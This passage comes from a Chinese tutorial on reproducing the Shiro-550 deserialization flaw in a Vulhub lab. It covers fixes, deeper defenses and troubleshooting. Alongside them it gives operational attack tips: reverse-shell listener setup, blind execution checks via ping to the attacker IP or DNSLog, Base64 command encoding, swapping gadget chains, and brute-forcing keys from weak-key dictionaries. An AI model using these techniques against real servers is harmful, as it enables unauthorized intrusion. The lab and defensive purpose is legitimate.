Runtime执行时可能会出问题。使用Base64编码是一种非常可靠的绕过方式。监听问题确保攻击机的防火墙放行了监听端口如4444并且靶机能够访问到攻击机的IP地址在局域网或同一Docker网络内通常没问题。如果是在云服务器上复现需要设置安全组规则。无回显问题有时命令执行了但没有回显。可以尝试使用ping命令探测ping -c 1 攻击机IP或者使用DNSLog等外带通道验证命令是否执行。5. 漏洞修复与防御策略复现漏洞不是为了攻击而是为了理解其危害从而更好地进行防御。针对Shiro-550漏洞官方和社区提供了明确的修复方案。5.1 官方修复方案Apache Shiro官方在1.2.5及以上版本中修复了此漏洞核心措施包括移除硬编码密钥新版本中不再设置默认的cipherKey。如果开发人员不显式配置启动时会直接抛出异常强制要求开发者提供自定义密钥。提供生成安全密钥的工具官方建议使用Shiro自带的org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来生成一个随机的、足够强度的密钥。修复后的配置示例在shiro.ini或Spring配置中[main] # 配置RememberMe管理器 rememberMeManager org.apache.shiro.web.mgt.CookieRememberMeManager # 必须设置一个自定义的、足够复杂的密钥 rememberMeManager.cipherKey your_strong_and_random_base64_encoded_key_here securityManager.rememberMeManager $rememberMeManager生成密钥的Java代码示例import org.apache.shiro.crypto.AesCipherService; import java.util.Base64; public class GenerateKey { public static void main(String[] args) { AesCipherService aes new AesCipherService(); byte[] key aes.generateNewKey().getEncoded(); String base64Key Base64.getEncoder().encodeToString(key); System.out.println(Your new cipherKey: base64Key); } }5.2 深度防御建议仅仅升级Shiro版本和修改密钥是最基本的。要构建更稳固的防御需要从架构和编码层面考虑升级基础库确保项目中使用的commons-collections、commons-beanutils等可能被用于构造利用链的第三方库升级到最新版本。新版本通常修复了危险的Transformer等类。使用反序列化过滤器JEP 290对于使用JDK 9的环境可以启用Java原生提供的反序列化过滤器限制反序列化过程中允许加载的类。这是最根本的解决方案之一。// 示例使用ObjectInputFilter设置白名单 ObjectInputFilter filter ObjectInputFilter.Config.createFilter(java.util.*;!*); // 在反序列化前设置过滤器避免反序列化不可信数据这是黄金法则。任何来自网络、用户输入、外部存储的数据在反序列化前都应被视为不可信的。如果业务上必须使用应建立严格的白名单机制。WAF/IDS/IPS防护在应用前端部署Web应用防火墙WAF或入侵检测/防御系统可以识别和拦截常见的Shiro漏洞利用流量例如包含特定特征Cookie的请求。最小权限原则运行Java应用的服务器账户如tomcat、www-data应遵循最小权限原则避免使用root权限。这样即使被攻破攻击者能造成的破坏也有限。定期安全扫描与代码审计将Shiro等组件的版本监控纳入DevSecOps流程使用SCA软件成分分析工具定期扫描依赖。对新项目或重要项目进行代码安全审计检查Shiro等相关安全配置。6. 复现过程中的常见问题与排查在复现过程中你可能会遇到各种问题。这里我总结了一些常见的情况和排查思路。问题现象可能原因排查步骤与解决方案访问http://IP:8080无响应Docker容器未成功启动或端口映射错误1. 运行docker ps查看容器状态是否为Up。2. 运行docker logs 容器名查看容器启动日志排查错误。3. 检查docker-compose.yml中的端口映射配置确认宿主机端口未被占用。工具检测出密钥但发送Payload后无反应监听不到Shell1. 利用链不兼容。2. 命令执行被拦截或格式问题。3. 网络不通靶机无法访问攻击机。4. 目标环境无bash或命令执行失败。1.换用其他CC链尝试CommonsCollections1,CommonsCollections2,CommonsCollections3。2.验证命令执行先使用无害命令测试如ping或curl到DNSLog确认漏洞是否可利用。3.检查网络确保靶机与攻击机IP互通防火墙/安全组放行监听端口。4.调整命令尝试使用更通用的sh -c或直接调用/bin/bash。确认目标系统环境。使用ysoserial生成Payload时报错或无法运行Java版本不兼容或依赖缺失1. 确保已安装Java 8或以上版本。2. 从ysoserial的官方GitHub Release页面下载最新的jar包。3. 运行java -cp ysoserial.jar ysoserial.GeneratePayload查看帮助确认jar包可执行。发送Payload后服务器返回500错误或应用重启Payload触发了反序列化错误但可能由于类缺失或序列化UID不匹配导致1. 这通常意味着利用链的部分类在目标Classpath中不存在。尝试更通用的CC链CC1/CC5/CC6。2. 检查靶场环境中的Commons Collections版本尝试使用对应版本的利用链。Vulhub环境通常经过适配CC5成功率较高。记住我Cookie已设置但工具检测不到有效密钥1. 目标使用了非默认密钥且不在你的密钥字典中。2. 目标可能已升级Shiro漏洞已修复。3. 检测脚本或工具逻辑问题。1.扩展密钥字典使用更全面的Shiro密钥字典进行爆破网上有收集了上百个常见弱密钥的字典文件。2.手动分析如果条件允许尝试获取应用配置文件或源码查找cipherKey配置。3.验证Shiro版本通过页面错误信息或其他特征判断Shiro的大致版本。一个关键的排查技巧日志分析。Docker容器内部的应用日志是重要的信息来源。你可以通过以下命令进入容器内部查看日志# 找到运行Shiro应用的容器ID或名称 docker ps # 进入容器内部 docker exec -it 容器名或ID /bin/bash # 查看Tomcat日志假设应用部署在Tomcat cd /usr/local/tomcat/logs tail -f catalina.out或者在宿主机直接查看容器日志docker logs -f 容器名或ID当发送Payload时观察日志中是否有反序列化相关的错误堆栈如java.lang.ClassNotFoundException、java.io.InvalidClassException等这些信息能帮你判断利用链是否兼容、密钥是否正确。7. 从复现到理解构建知识体系完成一次漏洞复现绝不能止步于“弹出一个Shell”。Shiro-550是一个入口它背后牵连着庞大的Java安全知识体系。我建议你在复现之后沿着以下几个方向深入挖掘深入Java反序列化机制去阅读ObjectInputStream.readObject()的源码理解其工作流程。了解readObject、readResolve、writeReplace这些特殊方法在序列化/反序列化生命周期中的作用。分析利用链构造选择一条利用链比如CommonsCollections1使用IDE调试模式一步步跟踪反序列化过程。看看一个普通的PriorityQueue或BadAttributeValueExpException对象是如何经过一系列的Transformer、InvokerTransformer、ChainedTransformer调用最终执行到Runtime.exec()的。这个过程会让你对Java反射、动态代理、类加载机制有更深的理解。探索其他利用链除了CommonsCollections还有哪些库存在可被利用的Gadget比如Beanutils、Groovy、Jython、Hibernate、Jackson等。研究ysoserial工具中其他Payload的生成原理。研究修复与绕过了解JEP 290反序列化过滤器的原理和局限性。思考在过滤器存在的情况下攻击者可能如何绕过例如寻找未在过滤名单中的类或者利用本地类构造利用链。这能让你从防御者的视角思考问题。工具化与自动化尝试自己用Python或Java写一个简单的Shiro漏洞检测和利用工具而不是完全依赖现成的。这会强迫你理解加密、编码、网络请求等每一个细节。漏洞复现的最终目的是化“攻击技能”为“防御知识”。当你真正理解了攻击者是如何思考、如何利用系统弱点时你才能在设计架构、编写代码、配置系统时下意识地避开这些陷阱。Shiro-550的复现之旅就像一次对Java应用安全体系的深度解剖每一个步骤都值得你停下来思考其背后的原理和更广泛的适用场景。